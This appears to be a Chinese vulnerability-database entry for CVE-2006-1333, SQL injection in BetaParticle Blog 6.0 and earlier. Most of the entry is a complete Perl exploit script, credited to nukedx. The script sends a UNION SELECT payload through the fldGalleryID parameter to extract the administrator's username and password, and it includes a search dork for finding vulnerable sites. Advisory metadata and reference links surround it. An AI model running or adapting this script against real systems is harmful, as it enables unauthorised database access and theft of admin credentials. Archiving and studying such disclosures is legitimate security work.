BetaParticle博客多个SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109925 漏洞类型 SQL注入
发布时间 2006-03-18 更新时间 2006-03-21
CVE编号 CVE-2006-1333 CNNVD-ID CNNVD-200603-351
漏洞平台 ASP CVSS评分 6.4
|漏洞来源
https://www.exploit-db.com/exploits/1589
https://cxsecurity.com/issue/WLB-2006030092
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200603-351
|漏洞详情
在BetaParticleBlog6.0及其早期版本中存在多个SQL注入漏洞,远程攻击者可通过以下途径执行任意SQL命令:(1)用于template_permalink.asp的id参数或(2)用于template_gallery_detail.asp的fldGalleryID参数。
|漏洞EXP
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=20
#Usage: beta.pl <host> <path>
#googledork: [ "Powered by bp blog" ] 9.710 pages..
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-20\r\n";
  print "- BetaParticle Blog <= 6.0 Remote SQL Injection Vulnerability\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to BetaParticle ex: /blog\r\n";
  exit();
}
sub exploit () {
  #Our variables...
  $bpserver = $ARGV[0];
  $bpserver =~ s/(http:\/\/)//eg;
  $bphost   = "http://".$bpserver;
  $bpdir    = $ARGV[1];
  $bpport   = "80";
  $bptar    = "template_gallery_detail.asp?fldGalleryID=";
  $bpfinal  = "main.asp";
  $bpxp     = "-1+UNION+SELECT+null,fldAuthorUsername,fldAuthorPassword,null,null+FROM+tblAuthor+where+fldAuthorId=1";
  $bpreq    = $bphost.$bpdir.$bptar.$bpxp;
  #Sending data...
  header();
  print "- Trying to connect: $bpserver\r\n";
  $bp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$bpserver", PeerPort => "$bpport") || die "- Connection failed...\n";
  print $bp "GET $bpreq HTTP/1.1\n";
  print $bp "Accept: */*\n";
  print $bp "Referer: $bphost\n";
  print $bp "Accept-Language: tr\n";
  print $bp "User-Agent: NukeZilla 4.3\n";
  print $bp "Cache-Control: no-cache\n";
  print $bp "Host: $bpserver\n";
  print $bp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$bp>) {
    if ($answer =~ /<h3>(.*?)<\/h3>/) {
      print "- Exploit succeed! Getting admin's information\r\n";
      print "- Username: $1\r\n";
    }
    if ($answer =~ /<p>(.*?)<\/p>/) {
      print "- Password: $1\r\n";
      print "- Lets go $bphost$bpdir$bpfinal for admin login.\r\n";
      exit();
    }
    if ($answer =~ /number of columns/) { 
      print "- This version of BetaParticle is vulnerable too\r\n";
      print "- but default query of SQL-Inj. does not work on it\r\n";
      print "- So please edit query by manually adding null data..\r\n";
      exit(); 
    }
  }
  print "- Exploit failed\n"
}

# milw0rm.com [2006-03-18]
|参考资料

来源:SECUNIA
名称:19292
链接:http://secunia.com/advisories/19292
来源:BID
名称:17148
链接:http://www.securityfocus.com/bid/17148
来源:BUGTRAQ
名称:20060318Advisory:BetaParticleBlog<=6.0MultipleRemoteSQLInjectionVulnerabilities
链接:http://www.securityfocus.com/archive/1/428082
来源:MISC
链接:http://www.nukedx.com/?viewdoc=20
来源:VUPEN
名称:ADV-2006-1000
链接:http://www.frsirt.com/english/advisories/2006/1000
来源:blog.betaparticle.com
链接:http://blog.betaparticle.com/UserFiles/File/6fix.txt
来源:XF
名称:bpblog-multiple-sql-injection(25327)
链接:http://xforce.iss.net/xforce/xfdb/25327
来源:OSVDB
名称:23966
链接:http://www.osvdb.org/23966
来源:OSVDB
名称:23965
链接:http://www.osvdb.org/23965
来源:SECTRACK
名称:1015788
链接:http://securitytracker.com/id?1015788
来源:SREASON
名称:600
链接:http://securityreason.com/securityalert/600